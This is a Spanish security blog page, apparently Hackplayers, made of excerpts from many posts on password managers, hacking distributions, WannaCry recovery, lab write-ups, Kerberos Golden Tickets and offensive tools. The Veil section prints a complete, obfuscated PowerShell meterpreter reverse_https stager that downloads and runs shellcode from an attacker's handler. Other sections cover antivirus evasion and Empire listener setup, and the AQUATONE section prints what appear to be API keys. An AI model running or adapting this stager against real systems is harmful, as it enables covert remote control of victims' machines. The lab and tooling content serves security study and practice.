KeePass con segundo factor de autenticación OTP

Keepass es en la actualidad uno de los gestores de contraseñas más utilizados y, como tal, han surgido varias técnicas y herramientas para poder evadir la protección de las bases de datos y obtener las preciadas contraseñas de una víctima. Desde scripts que buscan e intentan identificar ficheros .kbdx en el filesystem, hasta herramientas como mod0keecrack que realizan fuerza bruta u otras como KeeFarce que obtienen la contraseña maestra directamente desde la memoria. Está claro que por su naturaleza y lo extendido que está su uso, Keepass está continuamente en el punto de mira... y por esa razón, parece buena idea utilizar un segundo factor de autenticación (2FA) para abrir nuestras bases de datos de contraseñas de Keepass.

Dentro de las opciones disponibles para 2FA, quizás la opción más cómoda es utilizar passwords de un sólo uso desde el smartphone mediante Google Authenticator, de tal manera que cada vez que queramos abrir un fichero Keepass además de la contraseña de la base de datos tengamos que meter una serie de códigos únicos generados desde el móvil. Para ello hay varios plugins disponibles, pero el que he probado y funciona realmente bien es OtpKeyProv de Dominik Reichl.

OtpKeyProv es un proveedor de claves basado en passwords de un sólo uso u OTP. Soporta todos los tokens que siguen el estándar OATH HOTP (RFC 4226).

Para usarlo simplemente tenemos que descargar el zip del plugin, descomprimir el archivo OtpKeyProv.plgx y dejarlo en el directorio de plugins de Keepass (%programfiles%\KeePass Password Safe 2\Plugins en Windows o /usr/lib/keepass2/Plugins en Linux).

Podemos comprobar que está presente yendo a 'Herramientas' y 'Plugins':

Pass, gestiona tus contraseñas desde el terminal

Para los amantes del terminal Unix/Linux tener un gestor de contraseñas desde la línea de comandos es capital y una utilidad sencilla pero que cubre de sobra esta necesidad es pass. Con pass, cada contraseña "vive" dentro de un archivo cifrado gpg cuyo nombre es el título del sitio web o recurso que requiere la contraseña. Estos archivos cifrados pueden organizarse en jerarquías de carpetas, copiarlas de un ordenador a otro y, en general, manipularlas utilizando las herramientas estándar para el regex de archivos.

Pass hace que la administración de estos archivos de contraseñas individuales sea extremadamente fácil. Todas las contraseñas se localizan en ~/.password-store, y pass provee los comandos necesarios para que sea muy fácil agregar, editar, generar y recuperar contraseñas. Vamos a ver cómo instalarlo y las operaciones más comunes aunque os recomiendo echar un vistazo a su correspondiente man aquí o directamente en la consola.

Instalación (Ubuntu/Debian)

$ sudo apt-get install pass

Generar el par de claves GPG

$ gpg --gen-key

gpg: WARNING: unsafe ownership on homedir '/home/vis0r/.gnupg'
gpg (GnuPG) 2.1.15; Copyright (C) 2016 Free Software Foundation, Inc.
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.

Note: Use "gpg --full-gen-key" for a full featured key generation dialog.

GnuPG needs to construct a user ID to identify your key.

Real name: vis0r
Email address: hackplayers@ymail.com
You selected this USER-ID:
    "vis0r "

¿Cuáles son los sistemas operativos más utilizados por los hackers en 2017?

Recientemente leía un artículo en una web (HowToDoAnything) en el que se aventuraban a hacer un listado con el top 10 de los sistemas operativos más utilizados por los hackers en 2017. Y digo "aventuraban" porque algunas de las distribuciones que listan en su artículo estaban discontinuadas pero, sobretodo, porque siempre es difícil hacer este tipo de listados "Top" ya que (que yo sepa) no hay estadísticas oficiales y cada uno tiene sus propios gustos y puede argumentar las razones de por qué la distribución que utiliza es mejor que el resto, algo que siempre es bastante subjetivo.

Me atrevería a decir que Kali hoy en día es la distribución por excelencia y la más utilizada, pero como sabréis existe una gran diversidad de distribuciones enfocadas a la seguridad. Aún así, todos coincidimos en que usamos Linux y prácticamente en el uso de muchas herramientas.

En cualquier caso me parecía un top bastante interesante por lo que quería dejarlo "caer" también por aquí, eso sí añadiendo algunas distribuciones adicionales, ordenándolas por categorías y hasta llegar a una lista bastante amplia. A ver qué opináis y si echáis en falta alguna que otra:

Pentesting

1. Kali Linux

Qué decir a estas alturas de Kali... sin duda el sistema operativo más famoso para pentesting. De los creadores de BackTrack (Offensive Security), se trata de una distribución basada en Debian y que está disponible para muchas plataformas diferentes como VMware, Arm, etc.

2. Parrot Security OS

Este sistema operativo está basado en Debian GNU/Linux mezclado con Frozen box OS y Kali Linux y, con esta combinación, proporciona una excelente experiencia para tests de intrusión y pruebas de seguridad. Tiene muchas características como herramientas personalizadas anti-forense, GPG, crypt...

3. Arch Linux

Arch Linux es el sistema minimalista por excelencia. Sigue el principio KISS (Keep it Simple and Short). Arch Linux utiliza su gestor de paquetes Pacman, que combina paquetes binarios simples con un sistema de compilación de paquetes fácil de usar. Existe además BlackArch que puede usarse de forma independiente o instalarse en el sistema base y viene con numerosas herramientas preinstaladas.

4. BackBox

Back Box es una distribución de Linux basada en Ubuntu. Puede funcionar fácilmente en un dispositivo de bajo rendimiento y se ha desarrollado específicamente para realizar pruebas de intrusión y auditorías de seguridad. La nueva versión cuenta con funciones interesantes que incluyen análisis forense, documentación y generación de informes e ingeniería inversa.

5. Samurai Web Testing Framework

Samurai Web Testing Framework es una distro live que ha sido preconfigurada para funcionar como un entorno de prueba de pentesting web. Incluye muchas herramientas esenciales como WebScarab, rat proxy, w3af, Burp Suite y BeEF.

Spoilerwall, devuelve un spoiler de una película por cada puerto escaneado

Shodan, Censys, Scans.io, NetDB.io, ZMap, ... hoy en día son muchos los servicios y herramientas que escanean (y etiquetan) continuamente y de forma indiscriminada todas las IPs en Internet. Pero, ¿y si troleáramos a estos escáneres abriendo puertos TCP que no contienen realmente ningún servicio? Y aumentando la mala baba a nivel Dios... ¿si cada servicio escaneado además devolviera un banner "spoileando" el final de una película?

Pues hace días Infobyte LLC nos sorprendía publicando en su Github una pequeña herramienta en Python que precisamente hace eso: Spoilerwall. Una utilidad que simplemente levanta un servidor web (SocketServer) en un puerto especificado y devuelve de forma aleatoria un texto contenido en un fichero json (el spoiler). Luego y normalmente mediante iptables tendremos que redireccionar el puerto o puertos que consideremos para que, a la hora de que nos escaneen la máquina,  devuelva el banner de turno. Simple evil.. xD

Para probarlo, lo primero que tenemos que hacer -por supuesto- es clonar el repositorio:

$ git clone https://github.com/infobyte/spoilerwall.git

Luego editar el archivo server-spoiler.py y configurar las variables HOST y PORT, y ejecutar el servidor:

$ python2 server-spoiler.py

Ahora que tenemos el servidor corriendo, por defecto en el puerto 8080, tendremos que redireccionar todo el tráfico TCP entrante hacia el mismo:

$ sudo iptables -A PREROUTING -t nat -i eth0 -p tcp --dport 1:65535 -j DNAT --to-destination {HOST}:{PORT}

Si el tráfico está redireccionado a localhost tendremos que ejecutar:

$ sudo sysctl -w net.ipv4.conf.eth0.route_localnet=1

Finalmente, con esta configuración, si escanean cualquier puerto, un "simpático" banner será devuelto:


También podéis ver un ejemplo desde Shodan (cuidado con los spoilers) en:

https://www.shodan.io/host/138.197.196.144

Ten cuidado en tu próximo CTF - nunca sabes cuando aparecerá un spoiler! 

Githubhttps://github.com/infobyte/spoilerwall

Errores de Wannacry que pueden ayudar a recuperar archivos después de la infección

A veces los desarrolladores de ransomware cometen errores de programación. Estos errores pueden ayudar a las víctimas a recuperar el acceso a sus archivos originales después de una infección (por supuesto, nos referimos sin necesidad de pagar). Uno de los mejores ejemplos, lo tenéis en un artículo de Kapersky del pasado 1 de junio en el que publicaban una breve descripción de varios errores en el desarrollo de, casi con total seguridad, el ransomware más famoso hasta la fecha: Wannacry.

Errores en la lógica del borrado de archivos

Cuando Wannacry cifra los archivos de su víctima, lee desde el archivo original, cifra el contenido y lo guarda en el archivo con la extensión ".WNCRYT". Después del cidfrado mueve ".WNCRYT" a ".WNCRY" y elimina el archivo original. Esta lógica de borrado puede variar dependiendo de la ubicación y las propiedades de los archivos de la víctima.

Archivos que se encuentran en la unidad del sistema:

Si el archivo se encuentra en una carpeta "importante" (desde el punto de vista de los desarrolladores de programas maliciosos, por ejemplo, Escritorio y Documentos), el archivo original se sobrescribirá con datos aleatorios antes de su eliminación. En este caso, por desgracia, no hay forma de restaurar el contenido del archivo original.


Si el archivo se almacena fuera de carpetas "importantes", el archivo original se moverá a %TEMP%\%d.WNCRYT (donde %d es un valor numérico). Estos archivos contienen los datos originales y no se sobrescriben, simplemente se eliminan del disco, lo que significa que existen muchas posibilidades de que se puedan restaurar con algún software de recuperación de datos.

Detenido por correr un nodo de salida Tor en casa


El 6 de Abril arrestaron y desde el día 10 está detenido Dmitry Bogatov, acusado de haber publicado comentarios extremistas en sysadmins.ru.

Dmitry llevaba tiempo administrando un nodo de salida Tor desde su casa, que servía de salida a Internet a los usuarios que se conectaban a la cebolla.

Al venir los comentarios de su dirección IP las autoridades le atribuyen a él los comentarios, a pesar de que:
  1. Dmitry estaba en el gimnasio con su mujer cuando se publicaron los comentarios.
  2. El autor de los comentarios había escrito desde más de 100 IPs diferentes de distintas partes del mundo.
  3. El autor de los comentarios sigue teniendo actividad en la red, mientras Bogatov está en la cárcel. Admitió públicamente que utiliza Tor.

¿Pretenden responsabilizar al administrador del nodo de salida la actividad proveniente de la red Tor? Eso nos dejaría exentos de cualquier culpa de lo que hagamos a través de Tor... Pero nos irá dejando sin nodos de salida poco a poco...

Yo me acabo de enterar hace poco, pero ésto ya ocurrió hace casi 3 meses y es gravísimo.


Contribución gracias a 'elvecinodeabajo'

Repositorios en Github de la NSA

Algunos no lo saben pero, desde no hace mucho tiempo, la NSA tiene publicado un buen número de repositorios de Github con varias guías y variadas herramientas con su correspondiente código fuente. No tan interesantes como las que liberó ShadowBrokers *zasca* pero muchas que merece la pena revisar.

Sí amigos, ver para creer, la Agencia de Inteligencia (probablemente) más poderosa del mundo haciendo un ejercicio de desarrollo colaborativo, casi me emociono. Y es que, como ellos mismos rezan, el Software de Código Abierto u OSS invita al desarrollo cooperativo de la tecnología, fomentando su uso y adopción. El público se beneficia adoptando, mejorando, adaptando o comercializando el software y el Gobierno de los Estados Unidos se beneficia de las mejoras de la Comunidad. Menos da una piedra señores...

La razón fundamental de este "altruismo" se enmarca dentro del Programa de Transferencia de Tecnología de la NSA (TTP) que trabaja con innovadores de agencias que desean usar este modelo colaborativo para transferir su tecnología al mercado comercial.

Algunos de los proyectos más interesantes que podemos encontrar son:

- AppLocker Guidance: guía para implementar listas blancas de aplicaciones en AppLocker
- Certificate Authority Situational Awareness (CASA): una sencilla herramienta que identifica certificados de CAs sospechosas en equipos Windows
- Control Flow Integrity: una técnica basada en hardware para prevenir exploits de corrupción de memoria
- Event Forwarding Guidance: Guía de configuración para implementar la recopilación de eventos de Windows
- goSecure: una VPN portable y fácil de usar para Linux y Raspberry Pi
- GRASSMARLIN: Proporciona un conocimiento de la situación de la red IP de las redes ICS y SCADA para respaldar la seguridad de la red
- OpenAttestation: Un proyecto para recuperar y verificar la integridad del sistema de forma remota usando Trusted Platform Module (TPM)
- Pass-the-Hash Guidance: Guía para implementar mitigaciones para Pass-the-hash
- RedhawkSDR: Es un framework de radio definido por software (SDR) que proporciona herramientas para desarrollar, implementar y administrar aplicaciones de radio de software en tiempo real.
- OZONE Widget Framework (OWF): Es básicamente una aplicación web, que se ejecuta en su navegador, permite a los usuarios crear widgets ligeros y acceder fácilmente a todas sus herramientas de forma online
...

y así hasta 32 repositorios (y creciendo) que la NSA ha puesto (esta vez sí voluntariamente) y que podéis encontrar repartidos en cualquier de sus dos URLs en Github:

1. Information Assurance by NSA: https://github.com/iadgov
2. National Security Agency: https://github.com/nationalsecurityagency

Backdoors en imágenes gracias a BMPs y una lupa

Después de un tiempo de desconexión con motivo de exámenes y demás, hoy vuelvo para hablaros de un tema bastante útil a la par que peligroso...

Muchos nos hemos dedicado a darle cientos de vueltas a la cabeza para conseguir ejecutar malware sin ser frenados por la multitud de antivirus que hay en el mercado, para ello hay algunas herramientas como AVET, comentada anteriormente por estos lares, que nos facilitan cantidad el proceso de evasión de AVs, pero debemos saber que estas herramientas no son infalibles.

Normalmente nada más ser publicadas funcionan bastante bien, pero con el paso del tiempo sus mecanismos de evasión acaban siendo detectados por los antivirus y acaban quedando inservibles...

A parte de estas herramientas para evadir a los antivirus, puede haber otras maneras de crear backdoors indetectables o incluso distintos métodos de propagación de malware que no son muy utilizados en la actualidad como el que vengo hoy a tratar.

Seguramente casi nadie (por no decir nadie) os habréis fijado bien si hay algo raro en la imagen de cabecera del post, ¿no veis nada raro?, ampliarla un poquito más, ¿seguís sin verlo?, os daré un pista, haced zoom a la parte inferior izquierda de la imagen... Bueno, como podéis observar, aparece una tira de pixels de diferentes colores, los cuales no concuerdan con la imagen original, pues en esa tira de pixels se encuentra nuestra futura sesión de meterpreter, o mejor dicho, nuestro querido backdoor.

AQUATONE, más que una herramienta de descubrimiento de subdominios

AQUATONE del alemán Michael Henriksen es un conjunto de herramientas escritas en Ruby para realizar reconocimientos de nombres de dominio. Puede descubrir subdominios usando fuentes abiertas o mediante fuerza bruta usando un diccionario. Después del descubrimiento de subdominios, AQUATONE puede escanear los hosts para identificar puertos web comunes. Además puede reunir y consolidar en un informe los encabezados HTTP, cuerpos HTML y capturas de pantalla para un análisis rápido de la superficie de ataque.

La instalación es muy sencilla, sólo tenemos que descargar o clonar el repositorio en Github:

$ git clone https://github.com/michenriksen/aquatone.git

Instalar las gemas:

$ gem install aquatone

Y añadir nuestras keys de las APIs de Shodan y Virustotal:

$ aquatone-discover --set-key shodan o1hyw8pv59vSVjrZU3Qaz6ZQqgM91ihQ
$ aquatone-discover --set-key virustotal 132d0h354bd538656ek435876567b1g757945342347654as548f3264a8724g19


Luego, para mayor flexibilidad, AQUATONE se divide en tres comandos, según queramos o no descubrir subdominios, escanear los hosts y/o obtener información de los servicios (gathering), cada una representando distintas fases que vemos a continuación:

Fase 1: descubrimiento (aquatone-discover)

Lo primero que hace AQUATONE es consultar los DNS con la autoridad para el dominio objetivo. De esta manera se asegura que la información obtenida está actualizada. Luego hace una prueba rápida para ver si el dominio de destino está configurado para ser un dominio wildcard, si lo es, identificará las posibles respuestas wildcard y las filtrará. Posteriormente, procede a preguntar a cada módulo de para recopilar los subdominios:

- Diccionario brute force (ver diccionario aquí)
- DNSDB.orghttp://dnsdb.org/
- Informe de Transparencia de Google
- HackerTarget
- Netcraft
- Shodan (requiere clave de API)
- ThreatCrowd
- VirusTotal (requiere clave de API)

El comando básico es el siguiente:

$ aquatone-discover --domain example.com

Por defecto tirará 5 hilos, si queremos aumentar el número para que vaya más rápido podemos usar el parámetro --threads:

$ aquatone-discover --domain example.com --threads 25

Si por el contrario no queremos hacer mucho ruido podemos espaciar cada consulta DNS cada el número de segundos que especifiquemos con --sleep y un retardo variable con --jitter para evadir posibles IDS:

$ aquatone-discover --domain example.com --sleep 5 --jitter 30

AQUATONE descubre los servidores DNS que resuelven los nombres de dominio objetivo y reparte las consultas entre ellos. Si las consultas hacia estos DNS fallan por defecto realizará las consultas a los DNS de Google para maximizar los resultados. Podemos especificar también otros DNS de "reserva" con:

$ aquatone-discover --domain example.com --fallback-nameservers 87.98.175.85,5.9.49.12


Una vez finalizado el descubrimiento de dominios y subdominios los resultados se almacenarán en el fichero hosts.txt y hosts.json para facilitar el parseo.

AVET (AntiVirus Evasion Tool)

Ya sabéis que cuando se ejecuta un archivo exe hecho con msfpayload y cía, el archivo exe normalmente es detectado por el AV...

AVET (AntiVirus Evasion Tool) es una herramienta de Daniel Sauder (aka govolution) que permite experimentar con distintas técnicas de evasión de antivirus. Antes de continuar, os recomiendo echar un vistazo a las presentaciones de su autor https://govolutionde.files.wordpress.com/2014/05/avevasion_pentestmag.pdf y https://deepsec.net/docs/Slides/2014 /Why_Antivirus_Fails_-_Daniel_Sauder.pdf.

Las principales características de AVET son:

- su objetivo son las máquinas de Windows mediante archivos ejecutables
- en la última versión 1.1 se pueden usar payloads de 64 bits
- puede utilizar shellcodes en ensamblador
- se puede utilizar make_avet para configurar el código fuente
- con make_avet se pueden cargar códigos codificados en ASCII desde un archivo de texto o desde un servidor web, además usa una técnica de evasión de AV para evitar el sandboxing y la emulación
- para la codificación ASCII del shellcode se incluye la herramienta format.sh y sh_format

La herramienta se ha probado en Kali 2 (64 bits) y necesita tdm-gcc. Para instalar tdm-gcc visitar https://govolution.wordpress.com/2017/02/04/using-tdm-gcc-with-kali-2/, aunque tampoco tiene mucho misterio:

- Descarga el ejecutable correspondiente en https://sourceforge.net/projects/tdm-gcc/
- Instala con # wine tdm64-gcc-5.1.0-2.exe

Diseccionando bee-box (OWASP bWAPP VM) v1.6 - Inyección HTML

bWAPP (buggy Web APPlication) es una aplicación web deliberadamente vulnerable para que podamos practicar explotando un buen número de vulnerabilidades. Ya la descubrimos en el blog hace tres años y recibió su última actualización en noviembre del año pasado.

Lo que os traemos hoy es un writeup de los primeros ejercicios sobre inyección HTML, gracias al 'elvecinodeabajo' (bonito nick).


HTML Injection - Reflected (GET)
http://beebox/bWAPP/htmli_get.php

Los valores proporcionados a través de "firstname" y "lastname" en la consulta GET se reflejan en la página de saludo.

    http://beebox/bWAPP/htmli_get.php?firstname=Speedy&lastname=Gonzales&form=submit
    <div id="main">
        <h1>HTML Injection - Reflected (GET)</h1>
        <p>Enter your first and last name:</p>
        <form action="/bWAPP/htmli_get.php" method="GET">
            <p><label for="firstname">First name:</label><br />
            <input type="text" id="firstname" name="firstname"></p>
            <p><label for="lastname">Last name:</label><br />
            <input type="text" id="lastname" name="lastname"></p>
            <button type="submit" name="form" value="submit">Go</button>  
        </form>
        <br />
        Welcome Speedy Gonzales
    </div>

Si jugamos un poco podemos ver que las etiquetas HTML no se filtran y se reflejan tal cual en la página de resultado.

    http://beebox/bWAPP/htmli_get.php?firstname=%3Ch1%3ESpeedy%3C%2Fh1%3E&lastname=%3Ch2%3EGonzales%3C%2Fh2%3E&form=submit
    <div id="main">
        <h1>HTML Injection - Reflected (GET)</h1>
        <p>Enter your first and last name:</p>
        <form action="/bWAPP/htmli_get.php" method="GET">
            <p><label for="firstname">First name:</label><br />
            <input type="text" id="firstname" name="firstname"></p>
            <p><label for="lastname">Last name:</label><br />
            <input type="text" id="lastname" name="lastname"></p>
            <button type="submit" name="form" value="submit">Go</button>  
        </form>
        <br />
        Welcome <h1>Speedy</h1> <h2>Gonzales</h2>
    </div>

[Pentesterlab write-up] Web For Pentester II - Authorization & Mass Assignment

Continuamos con dos bloques más del lab 'Web for Pentester II',  esta vez con ejercicios para:

- explotar malas implementaciones en el esquema de autorización del aplicativo, que permiten acceder a información (URLs) que debería estar restringida, al menos sin previa autenticación.

- manipular registros de la aplicación para modificar elementos a los que el usuario normalmente no debería tener acceso, como contraseñas, permisos o roles. Es lo que se conoce como Mass Assignment.

Como veréis estos ejercicios son bastante sencillitos (quizás demasiado) y no requieren apenas esfuerzo, pero os recomiendo echarle al menos un vistazo rápido.


AUTHORIZATION

Ejercicio 1:

El primero ejemplo es un fallo común en el desarrollo web, el desarrollador creó la página de inicio de sesión pero no bloqueó las páginas que tienen información sensible a través de cookies u otros tokens de seguridad, esto significa que cualquiera que sepa la ruta (o la obtenga mediante un crawling o fuzzing de directorios) puede acceder sin autenticación.

http://vulnerable/authorization/example1



En esta ocasión no hace falta ni tirarle un wfuzz o un dirb, la URL es totalmente predecible:

http://vulnerable/authorization/example1/infos/2

Veil a través de custom proxies

Cuando generamos payloads en Veil-Evasion tenemos la posibilidad de indicar que la sesión de Meterpreter se realice a través del proxy configurado en el sistema. Pero, ¿y si el equipo de la víctima, normalmente un servidor, no tiene configurado ninguno (que en entornos reales suele ser lo normal) o simplemente queremos configurar que nuestro payload utilice otro proxy distinto?

No hay problema, mediante una sencilla modificación en los payloads podemos setear el proxy que queramos, incluso con autenticación.

A continuación os dejo un ejemplo para el payload en Powershell. Para ello copiamos primero el original:

./Veil-Evasion/modules/payloads/powershell/meterpreter# cp rev_https.py rev_https_ori.py

Y modificamos rev_https.py sustituyendo el código por este:
"""

Custom-written pure powershell meterpreter/reverse_https stager.

Module by @harmj0y
Custom proxy support added by @CuriositySec

"""

from modules.common import helpers


class Payload:

    def __init__(self):
        # required options
        self.description = "pure windows/meterpreter/reverse_https stager, no shellcode"
        self.rating = "Excellent"
        self.language = "powershell"
        self.extension = "bat"

        # optional
        self.required_options = {
                                    "LHOST" : ["", "IP of the Metasploit handler"],
                                    "LPORT" : ["443", "Port of the Metasploit handler"],
                                    "PROXY" : ["N", "S=Use system proxy settings, C=Custom proxy without authentication, A=Custom proxy authentication domain"],
                                    "PROXY_HOST" : ["http://127.0.0.1:8080", "Custom Proxy"],
                                    "PROXY_USER" : ["User1", "User domain"],
                                    "PROXY_PASSWORD" : ["123456", "Password domain"],
                                    "PROXY_DOMAIN" : ["CORP", "Domain user"],
                                    "STAGERURILENGTH" : ["4", "The URI length for the stager (at least 4 chars)."],
                                    "LURI" : ["/","The HTTP path to prepend to the listener. Ex: http://attacker:port/[LURI]"],
                                    "USER_AGENT" : ["Mozilla/4.0 (compatible; MSIE 6.1; Windows NT)", "The User-Agent header to send with the initial stager request"]
                                }


    def generate(self):
        if self.required_options["PROXY"][0] == "S":
                proxyString = "$pr = [System.Net.WebRequest]::GetSystemWebProxy();$pr.Credentials=[System.Net.CredentialCache]::DefaultCredentials;$m.proxy=$pr;$m.UseDefaultCredentials=$true;"
        elif self.required_options["PROXY"][0] == "C":
                proxyString = "$pr = New-Object System.Net.WebProxy(\'"+self.required_options["PROXY_HOST"][0]+"\',$true);$m.proxy=$pr;"
        elif self.required_options["PROXY"][0] == "A":
                protocol,ip,port = self.required_options["PROXY_HOST"][0].split(":")
                proxyString = "$pr = New-Object System.Net.WebProxy(\'"+self.required_options["PROXY_HOST"][0]+"\',$true);$c = New-Object Net.NetworkCredential(\'"+self.required_options["PROXY_USER"][0]+"\',\'"+self.required_options["PROXY_PASSWORD"][0]+"\',\'"+self.required_options["PROXY_DOMAIN"][0]+"\');$c = $c.GetCredential(\'"+protocol+":"+ip+"\',\'"+port+"\', \'KERBEROS\');$pr.Credentials = $c;$m.proxy=$pr;"
        
        baseString = """$q = @"
[DllImport("kernel32.dll")] public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[DllImport("kernel32.dll")] public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
"@
try{$d = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789".ToCharArray()
function c($v){ return (([int[]] $v.ToCharArray() | Measure-Object -Sum).Sum %% 0x100 -eq 92)}
function t {$f = "";1..%i|foreach-object{$f+= $d[(get-random -maximum $d.Length)]};return $f;}
function e { process {[array]$x = $x + $_}; end {$x | sort-object {(new-object Random).next()}}}
function g{ for ($i=0;$i -lt 64;$i++){$h = t;$k = $d | e;  foreach ($l in $k){$s = $h + $l; if (c($s)) { return $s }}}return "9vXU";}
[Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};$m = New-Object System.Net.WebClient;%s
$m.Headers.Add("user-agent", "%s");$n = g; [Byte[]] $p = $m.DownloadData("https://%s:%s/%s$n" )
$o = Add-Type -memberDefinition $q -Name "Win32" -namespace Win32Functions -passthru
$x=$o::VirtualAlloc(0,$p.Length,0x3000,0x40);[System.Runtime.InteropServices.Marshal]::Copy($p, 0, [IntPtr]($x.ToInt32()), $p.Length)
$o::CreateThread(0,0,$x,0,0,0) | out-null; Start-Sleep -Second 86400}catch{}""" %((int(self.required_options["STAGERURILENGTH"][0])-1),
                                                                              "" if self.required_options["PROXY"][0] == "N" else proxyString,
                                                                              self.required_options["USER_AGENT"][0],
                                                                              self.required_options["LHOST"][0],
                                                                              self.required_options["LPORT"][0],
                                                                              "" if self.required_options["LURI"][0] == "/" else "%s/" % self.required_options["LURI"][0])
        encoded = helpers.deflate(baseString)
        payloadCode = "@echo off\n"
        payloadCode += "if %PROCESSOR_ARCHITECTURE%==x86 ("
        payloadCode += "powershell.exe -NoP -NonI -W Hidden -Exec Bypass -Command \"Invoke-Expression $(New-Object IO.StreamReader ($(New-Object IO.Compression.DeflateStream ($(New-Object IO.MemoryStream (,$([Convert]::FromBase64String(\\\"%s\\\")))), [IO.Compression.CompressionMode]::Decompress)), [Text.Encoding]::ASCII)).ReadToEnd();\"" % (encoded)
        payloadCode += ") else ("
        payloadCode += "%%WinDir%%\\syswow64\\windowspowershell\\v1.0\\powershell.exe -NoP -NonI -W Hidden -Exec Bypass -Command \"Invoke-Expression $(New-Object IO.StreamReader ($(New-Object IO.Compression.DeflateStream ($(New-Object IO.MemoryStream (,$([Convert]::FromBase64String(\\\"%s\\\")))), [IO.Compression.CompressionMode]::Decompress)), [Text.Encoding]::ASCII)).ReadToEnd();\")" % (encoded)

        return payloadCode

Pivotando con Golden Tickets en Linux

Ya sabéis que el protocolo Kerberos es el mecanismo preferido para la autenticación en un entorno Windows basado en dominio (DA). Sin entrar en detalle, Kerberos utiliza los tickets conocidos como TGT (Ticket-Granting Ticket) que entrega el KDC (Key Distribution Center) para autenticar usuarios y conceder acceso a cualquier recurso de la red.

Por otro lado, la cuenta KRBTGT se utiliza para cifrar y firmar todos los tickets Kerberos dentro de un dominio y los KDC (normalmente controladores de dominio) utilizan la contraseña de la cuenta para descifrar los tickets Kerberos para su validación. Esta contraseña de cuenta nunca cambia y el nombre de cuenta es el mismo en todos los dominios, por lo que es un objetivo bien conocido para los atacantes.

Si un atacante obtiene el hash de esa cuenta KRBTGT, podrá generar los conocidos Golden Tickets, y entonces podrá impersonar a cualquier usuario y establecer cualquier acceso autenticado persistente y encubierto en el dominio de Windows.

Mimikatz, que desde la versión 2.0 implementa esta técnica, permite crear estos tickets de forma offline con una validez por defecto de 10 años, que pueden ser reusados mediante pass-the-ticket y serán válidos incluso aunque el usuario impersonado cambie la contraseña. La única manera de invalidarlos sería resetear la contraseña utilizada para generar el TGT.

A finales del año pasado, en el blog de Artem Kondratenko, veíamos un pequeño pero útil tutorial para pivotar mediante estos Golden tickets en Linux. El ataque, por lo general, funciona de la siguiente manera:

- El atacante obtiene privilegios de administrador en el dominio
- El atacante extrae el hash ntlm de un usuario de dominio "krbtgt" y obtiene el SID del dominio de destino
- El atacante compone un ticket de kerberos
- Este ticket se utiliza para autenticar en el dominio con privilegios de administrador de dominio

Aquí está un walkthough detallado en cómo utilizar los Golden tickets en Kali Linux.

hackerbot: chatea y "hackea" con tu asistente personal

Redes sociales, equipos para CTFs, comunidades, foros... hoy en día es muy raro encontrarse hackers que sean "lobos solitarios", así que el estereotipo "Forever Alone" que los sitúa como frikis que se aislan entorno al PC de su escritorio dista mucho de la realidad...

No obstante, ¿a quién no le gustaría tener (y controlar?) a un asistente ro-bot que te ayude durante un pentest? Sería algo así como comunicarte con Madre a bordo del Nostromo pero como un ayudante que te guía y te da las técnicas y herramientas de hacking necesarias para realizar un intrusión.



Bueno, pues ya tenemos un primer y tímido intento de desarrollar un bot con el que poder chatear tranquilamente y colaborar mientras haces un trabajito. Se trata de hackerbot de Ömer Günal que combina un chatbot con Python AIML y varios módulos con distintas herramientas y utilidades.

Instalación

git clone https://github.com/omergunal/hackerbot
cd hackerbot
chmod +x install.sh
./install.sh


Uso

Python v2.7 requerido

python hackbot.py

argumentos en el chat:
   !help          show what you can do




Como veis es un principio, pero podría ser la piedra de toque para incluir nuevos módulos y tener un verdadero y complejo colega virtual y, quién sabe, algún día decirle "Jeffrey, veme hackeando la NSA que voy un momento a tirar la basura".

Github: https://github.com/omergunal/hackerbot

StartFighters: un launcher de Empire en js/vbs sin necesidad de PowerShell.exe

Siguiendo el hilo de entradas sobre PowerShell hoy traemos StartFighters, un Launcher de Empire en VBScript/Javascript que se ejecuta dentro de su propio Host de PowerShell, embebido en JavaScript mediante DotNetToJScript. Y es que si hace varios días veíamos cómo ejecutar PowerShell sólo con dlls, mediante rundll32, con esta herramienta podremos también ejecutar un agente de Empire sin powershell.exe, sólo ejecutando un script en vbs o js.

Recordemos que el launcher_vbs que trae por defecto Empire llama al stager con powershell.exe -NoP -sta -NonI -W Hidden -Enc ... así que está herramienta puede resultarnos bastante útil en algunos entornos...

1. Para probarla empezaremos levantando un listener en PowerShell Empire (en nuestro caso el mod de Hackplayers).
root@poc1lg4:/tools/powershell/Empire-mod-Hackplayers# ./empire 
[*] Loading modules from: /tools/powershell/Empire-mod-Hackplayers/lib/modules/

====================================================================================
 Empire: PowerShell post-exploitation agent | [Version]: 2.0 Mod: HackPlayers 
====================================================================================
 [Web]: https://www.PowerShellEmpire.com/ | [Twitter]: @harmj0y, @sixdub, @enigma0x3
====================================================================================
 __    __       ___       ______  __  ___                
|  |  |  |     /   \     /      ||  |/  /                
|  |__|  |    /  ^  \   |  ,----'|  '  /                 
|   __   |   /  /_\  \  |  |     |    <                  
|  |  |  |  /  _____  \ |  `----.|  .  \                 
|__|  |__| /__/     \__\ \______||__|\__\                
 _______ .___  ___. .______    __  .______       _______ 
|   ____||   \/   | |   _  \  |  | |   _  \     |   ____|
|  |__   |  \  /  | |  |_)  | |  | |  |_)  |    |  |__   
|   __|  |  |\/|  | |   ___/  |  | |      /     |   __|  
|  |____ |  |  |  | |  |      |  | |  |\  \----.|  |____ 
|_______||__|  |__| | _|      |__| | _| `._____||_______|  Mod: HackPlayers

       209 modules currently loaded
       0 listeners currently active
       0 agents currently active

(Empire) > listeners
[!] No listeners currently active 

(Empire: listeners) > set Host http://192.168.1.180:8888
(Empire: listeners) > options

Listener Options:

  Name              Required    Value                            Description
  ----              --------    -------                          -----------
  KillDate          False                                        Date for the listener to exit (MM/dd/yyyy).
  Name              True        test                             Listener name.
  DefaultLostLimit  True        60                               Number of missed checkins before exiting
  StagingKey        True        5\kp|M/&,Kedl$Cj+YA~V6JB*Z4wo}uq Staging key for initial agent negotiation.
  Type              True        native                           Listener type (native, pivot, hop, foreign, meter).
  RedirectTarget    False                                        Listener target to redirect to for pivot/hop.
  DefaultDelay      True        5                                Agent delay/reach back interval (in seconds).
  WorkingHours      False                                        Hours for the agent to operate (09:00-17:00).
